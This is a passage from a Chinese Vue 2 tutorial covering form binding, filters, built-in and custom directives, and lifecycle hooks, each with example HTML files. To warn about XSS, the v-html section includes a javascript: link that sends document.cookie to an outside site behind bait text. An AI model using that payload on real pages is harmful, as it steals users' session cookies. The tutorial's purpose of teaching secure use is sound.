				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study"><!-- 默认收集checked，得加value -->
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="guangzhou">广州</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><!-- 开启lazy模式，此时vue在其失去焦点时才收集 -->
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://perfectcode.top">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],/* 初始值会影响vue收集checkbox的数据，默认是checked属性，因此需要设置为数组类型，不能设置为'' */
					city:'guangzhou',
					other:'',
					agree:''/* 此时可以设置为''类型，因为只需要收集checkbox的checked属性(true或false) */
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

2.14 过滤器

  • 使用第三方库dayjs.min.js将时间戳过滤成需要的格式。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>过滤器</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    		<script type="text/javascript" src="../js/dayjs.min.js"></script>
    	</head>
    	<body>
    		<!-- 
    			过滤器：
    				定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
    				语法：
    						1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
    						2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
    				备注：
    						1.过滤器也可以接收额外参数、多个过滤器也可以串联
    						2.并没有改变原本的数据, 是产生新的对应的数据
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>显示格式化后的时间</h2>
    			<!-- 计算属性实现 -->
    			<h3>现在是：{{fmtTime}}</h3>
    			<!-- methods实现 -->
    			<h3>现在是：{{getFmtTime()}}</h3>
    			<!-- 过滤器实现 -->
    			<h3>现在是：{{time | timeFormater}}</h3>
    			<!-- 过滤器实现（传参），可以进行多个过滤器串联，此时是按照顺序依次执行，前面执行的结果传给下一个过滤器 -->
    			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    			<h3 :x="msg | mySlice"></h3>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		//全局过滤器，需要在创建vue实例前提前注册好
    		Vue.filter('mySlice',function(value){
    			return value.slice(0,4)
    		})
    		
    		new Vue({
    			el:'#root',
    			data:{
    				time:1639751302926, //时间戳
    				msg:'hello'
    			},
    			computed: {
    				fmtTime(){
    					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
    				}
    			},
    			methods: {
    				getFmtTime(){
    					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
    				}
    			},
    			//局部过滤器
    			filters:{
    				/* 如果str没有传值，则默认设置为'YYYY年MM月DD日 HH:mm:ss' */
    				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
    					// console.log('@',value)
    					return dayjs(value).format(str)
    				},
    				/* mySlice(value){
    					return value.slice(0,4);
    				} */
    			}
    		})
    	</script>
    </html>

2.15 内置指令

  • v-text指令：

    • 作用：向其所在的节点中渲染文本内容。
    • 与插值语法的区别：v-text会替换掉节点中的内容，则不会
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>v-text指令</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				我们学过的指令：
    						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
    						v-model	: 双向数据绑定
    						v-for  	: 遍历数组/对象/字符串
    						v-on   	: 绑定事件监听, 可简写为@
    						v-if 	 	: 条件渲染（动态控制节点是否存存在）
    						v-else 	: 条件渲染（动态控制节点是否存存在）
    						v-show 	: 条件渲染 (动态控制节点是否展示)
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<div v-text="str"></div>
    			<!-- 节点中的内容会被覆盖 -->
    			<div v-text="str">你好</div>
    			<!-- 无法解析html标签 -->
    			<div v-text="str2"></div>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		new Vue({
    			el:'#root',
    			data:{
    				str:'hello',
    				str2:'<h1>你好</h1>'
    			}
    		})
    	</script>
    </html>

  • v-html指令：

    • 作用：向指定节点中渲染包含html结构的内容。
    • 与插值语法的区别：
      • v-html会替换掉节点中所有的内容，则不会。
      • v-html可以识别html结构。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>v-html指令</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				v-html指令：
    						严重注意：v-html有安全性问题！！！！
    								(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
    								(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<!-- 支持解析html标签 -->
    			<div v-html="str"></div>
    			<!-- 会有安全性问题 -->
    			<div v-html="str2"></div>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false

    		new Vue({
    			el:'#root',
    			data:{
    				str:'<h1>hello</h1>',
    				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
    			}
    		})
    	</script>
    </html>

  • v-cloak指令：

    • 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
    • 使用css配合v-cloak可以解决网速慢时页面展示出的问题。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>v-cloak指令</title>
    		<style>
    			[v-cloak]{
    				display:none;
    			}
    		</style>
    		<!-- 引入Vue -->
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2 v-cloak>{{school}}</h2>
    		</div>
    		<!-- 假设从网络上获取vue.js非常慢，有延迟 -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</body>
    	
    	<script type="text/javascript">
    		console.log(1)
    		Vue.config.productionTip = false
    		new Vue({
    			el:'#root',
    			data:{
    				school:'gzmtu'
    			}
    		})
    	</script>
    </html>

  • v-once指令：

    • v-once所在节点在初次动态渲染后，就视为静态内容了。
    • 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>v-once指令</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2 v-once>初始化的n值是:{{n}}</h2>
    			<h2>当前的n值是:{{n}}</h2>
    			<button @click="n++">点我n+1</button>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			}
    		})
    	</script>
    </html>

  • v-pre指令：

    • 跳过其所在节点的编译过程。
    • 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>v-pre指令</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2 v-pre>Vue其实很简单</h2>
    			<h2 >当前的n值是:{{n}}</h2>
    			<button @click="n++">点我n+1</button>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			}
    		})
    	</script>
    </html>

2.16 自定义指令

  • 定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>自定义指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>当前的n值是：<span v-text="n"></span> </h2>
                <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
    			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
    			<button @click="n++">点我n+1</button>
    		</div>
    	</body>
    	
    	<script type="text/javascript">
    		Vue.config.productionTip = false

    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			},
    			directives:{
    				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
    				/* 'big-number'(element,binding){
    					// console.log('big')
    					element.innerText = binding.value * 10
    				}, */
    				big(element,binding){
    					console.log('big',this) //注意此处的this是window
    					// console.log('big')
    					element.innerText = binding.value * 10
    				}
    			}
    		})
    		
    	</script>
    </html>

  • 定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>自定义指令</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
            		<!-- 
    				自定义指令总结：
    						一、定义语法：
    									(1).局部指令：
    												new Vue({															new Vue({
    													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
    												}) 																		})
    									(2).全局指令：
    													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

    						二、配置对象中常用的3个回调：
    									(1).bind：指令与元素成功绑定时调用。
    									(2).inserted：指令所在元素被插入页面时调用。
    									(3).update：指令所在模板结构被重新解析时调用。

    						三、备注：
    									1.指令定义时不加v-，但使用时要加v-；
    									2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>当前的n值是：<span v-text="n"></span> </h2>
    			<button @click="n++">点我n+1</button>
    			<input type="text" v-fbind:value="n">
    		</div>
    	</body>
    	
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		//定义全局指令
    		/* Vue.directive('fbind',{
    			//指令与元素成功绑定时（一上来）
    			bind(element,binding){
    				element.value = binding.value
    			},
    			//指令所在元素被插入页面时
    			inserted(element,binding){
    				element.focus()
    			},
    			//指令所在的模板被重新解析时
    			update(element,binding){
    				element.value = binding.value
    			}
    		}) */
    		new Vue({
    			el:'#root',
    			data:{
    				n:1
    			},
    			directives:{
    				fbind:{
    					//指令与元素成功绑定时（一上来）
    					bind(element,binding){
    						element.value = binding.value
    					},
    					//指令所在元素被插入页面时
    					inserted(element,binding){
    						element.focus()
    					},
    					//指令所在的模板被重新解析时
    					update(element,binding){
    						element.value = binding.value
    					}
    				}
    			
    			}
    		})
    	</script>
    </html>

2.17 生命周期

  • 又叫生命周期回调函数、生命周期函数、生命周期钩子。即Vue在关键时刻帮我们调用的一些特殊名称的函数。

  • 生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。

  • 生命周期函数中的this指向是vm或组件实例对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>引出生命周期</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2 v-if="a">你好啊</h2>
    			<h2 :style="{opacity}">欢迎学习Vue</h2>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false
    		
    		new Vue({
    			el:'#root',
    			data:{
    				a:false,
    				opacity:1
    			},
    			methods: {
    				
    			},
    			//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
    			mounted(){
    				console.log('mounted',this)
    				setInterval(() => {
    					this.opacity -= 0.01
    					if(this.opacity <= 0) this.opacity = 1
    				},16)
    			},
    		})

    		//通过外部的定时器实现（不推荐）
    		/* setInterval(() => {
    			vm.opacity -= 0.01
    			if(vm.opacity <= 0) vm.opacity = 1
    		},16) */
    	</script>
    </html>

  • 分析vue的生命周期。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>分析生命周期</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root" :x="n">
    			<h2 v-text="n"></h2>
    			<h2>当前的n值是：{{n}}</h2>
    			<button @click="add">点我n+1</button>
    			<button @click="bye">点我销毁vm</button>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    		new Vue({
    			el:'#root',
    			// template:`
    			// 	<div>
    			// 		<h2>当前的n值是：{{n}}</h2>
    			// 		<button @click="add">点我n+1</button>
    			// 	</div>
    			// `,
    			data:{
    				n:1
    			},
    			methods: {
    				add(){
    					console.log('add')
    					this.n++
    				},
    				bye(){
    					console.log('bye')
    					this.$destroy()
    				}
    			},
    			watch:{
    				n(){
    					console.log('n变了')
    				}
    			},
    			beforeCreate() {
    				console.log('beforeCreate')
    			},
    			created() {
    				console.log('created')
    			},
    			beforeMount() {
    				console.log('beforeMount')
    			},
    			mounted() {
    				console.log('mounted',this.$el instanceof HTMLElement)
    			},
    			beforeUpdate() {
    				console.log('beforeUpdate')
    			},
    			updated() {
    				console.log('updated')
    			},
    			beforeDestroy() {
    				console.log('beforeDestroy')
    			},
    			destroyed() {
    				console.log('destroyed')
    			},
    		})
    	</script>
    </html>

  • 生命周期总结：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>引出生命周期</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				常用的生命周期钩子：
    						1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
    						2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

    				关于销毁Vue实例
    						1.销毁后借助Vue开发者工具看不到任何信息。
    						2.销毁后自定义事件会失效，但原生DOM事件依然有效。
    						3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2 :style="{opacity}">欢迎学习Vue</h2>
    			<button @click="opacity = 1">透明度设置为1</button>
    			<button @click="stop">点我停止变换</button>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    		 new Vue({
    			el:'#root',
    			data:{
    				opacity:1
    			},
    			methods: {
    				stop(){
    					this.$destroy()
    				}
    			},
    			//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
    			mounted(){
    				console.log('mounted',this)
    				this.timer = setInterval(() => {
    					console.log('setInterval')
    					this.opacity -= 0.01
    					if(this.opacity <= 0) this.opacity = 1
    				},16)
    			},
    			beforeDestroy() {
    				clearInterval(this.timer)
    				console.log('vm即将驾鹤西游了')
    			},
    		})

    	</script>
    </html>